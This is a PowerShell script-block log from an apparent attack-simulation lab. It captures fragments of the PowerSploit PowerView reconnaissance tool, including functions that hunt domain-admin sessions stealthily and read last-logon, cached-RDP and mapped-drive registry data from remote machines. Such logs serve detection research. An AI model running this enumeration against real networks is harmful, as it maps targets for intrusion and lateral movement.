if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLime66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122636Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3544put.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundPare66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122634Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3344 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
if ($Result -eq 0) {
$Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
}
else {
Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
$ComputerSite | Add-Member Noteproperty 'SiteName' ''
}
$ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
$ComputerSite
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-WMIRegProxy {
<#
.SYNOPSIS
Enumerates the proxy server and WPAD conents for the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Enumerates the proxy server and WPAD specification for the current user
on the local machine (default), or a machine specified with -ComputerName.
It does this by enumerating settings from
HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
.PARAMETER ComputerName
Specifies the system to enumerate proxy settings on. Defaults to the local host.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegProxy
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
WINDOWS1 http://primary.test...
.EXAMPLE
$Cred = Get-Credential "TESTLAB\administrator"
Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
windows1.testlab.local primary.testlab.local
.INPUTS
String
Accepts one or more computer name specification strings on the pipeline (netbios or FQDN).
.OUTPUTS
PowerView.ProxySettings
Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.
#>
[OutputType('PowerView.ProxySettings')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
$RegProvider = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
# HKEY_CURRENT_USER
$HKCU = 2147483649
$ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
$AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
$Wpad = ''
if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
try {
$Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
}
catch {
Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL"
}
}
if ($ProxyServer -or $AutoConfigUrl) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
$Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
$Out | Add-Member Noteproperty 'Wpad' $Wpad
$Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
$Out
}
else {
Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName"
}
}
catch {
Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_"
}
}
}
}
function Get-WMIRegLastLoggedOn {
<#
.SYNOPSIS
Returns the last user who logged onto the local (or a remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses remote registry to enumerate the LastLoggedOnUser registry key
for the local (or remote) machine.
.PARAMETER ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegLastLoggedOn
Returns the last user logged onto the local machine.
.EXAMPLE
Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
Returns the last user logged onto WINDOWS1
.EXAMPLE
Get-DomainComputer | Get-WMIRegLastLoggedOn
Returns the last user logged onto all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.LastLoggedOnUser
A PSCustomObject containing the ComputerName and last loggedon user.
#>
[OutputType('PowerView.LastLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_LOCAL_MACHINE
$HKLM = 2147483650
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'SilentlyContinue'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
# try to open up the remote registry key to grab the last logged on user
try {
$Reg = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
$Value = 'LastLoggedOnUser'
$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
$LastLoggedOn = New-Object PSObject
$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
$LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
$LastLoggedOn
}
catch {
Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled."
}
}
}
}
function Get-WMIRegCachedRDPConnection {
<#
.SYNOPSIS
Returns information about RDP connections outgoing from the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to query all entries for the
"Windows Remote Desktop Connection Client" on a machine, separated by
user and target server.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegCachedRDPConnection
Returns the RDP connection client information for the local machine.
.EXAMPLE
Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local
Returns the RDP connection client information for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegCachedRDPConnection
Returns cached RDP information for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.CachedRDPConnection
A PSCustomObject containing the ComputerName and cached RDP information.
#>
[OutputType('PowerView.CachedRDPConnection')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
# pull out all the cached RDP connections
$ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
ForEach ($Connection in $ConnectionKeys) {
# make sure this key is a cached connection
if ($Connection -match 'MRU.*') {
$TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
$FoundConnection
}
}
# pull out all the cached server info with username hints
$ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
ForEach ($Server in $ServerKeys) {
$UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
$FoundConnection
}
}
catch {
Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_"
}
}
}
catch {
Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
}
}
}
}
function Get-WMIRegMountedDrive {
<#
.SYNOPSIS
Returns information about saved network mounted drives for the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to enumerate recently mounted network drives.
.PARAMETER ComputerName
Specifies the hostname to query for mounted drive information (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegMountedDrive
Returns the saved network mounted drives for the local machine.
.EXAMPLE
Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegMountedDrive
Returns the saved network mounted drives for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.RegMountedDrive
A PSCustomObject containing the ComputerName and mounted drive information.
#>
[OutputType('PowerView.RegMountedDrive')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
$DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
ForEach ($DriveLetter in $DriveLetters) {
$ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
$RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
$DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
if (-not $UserNe66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122633Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3244) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-RegLoggedOn {
<#
.SYNOPSIS
Returns who is logged onto the local (or a remote) machine
through enumeration of remote registry keys.
Note: This function requires only domain user rights on the
machine you're enumerating, but remote registry must be enabled.
Author: Matt Kelly (@BreakersAll)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID
.DESCRIPTION
This function will query the HKU registry values to retrieve the local
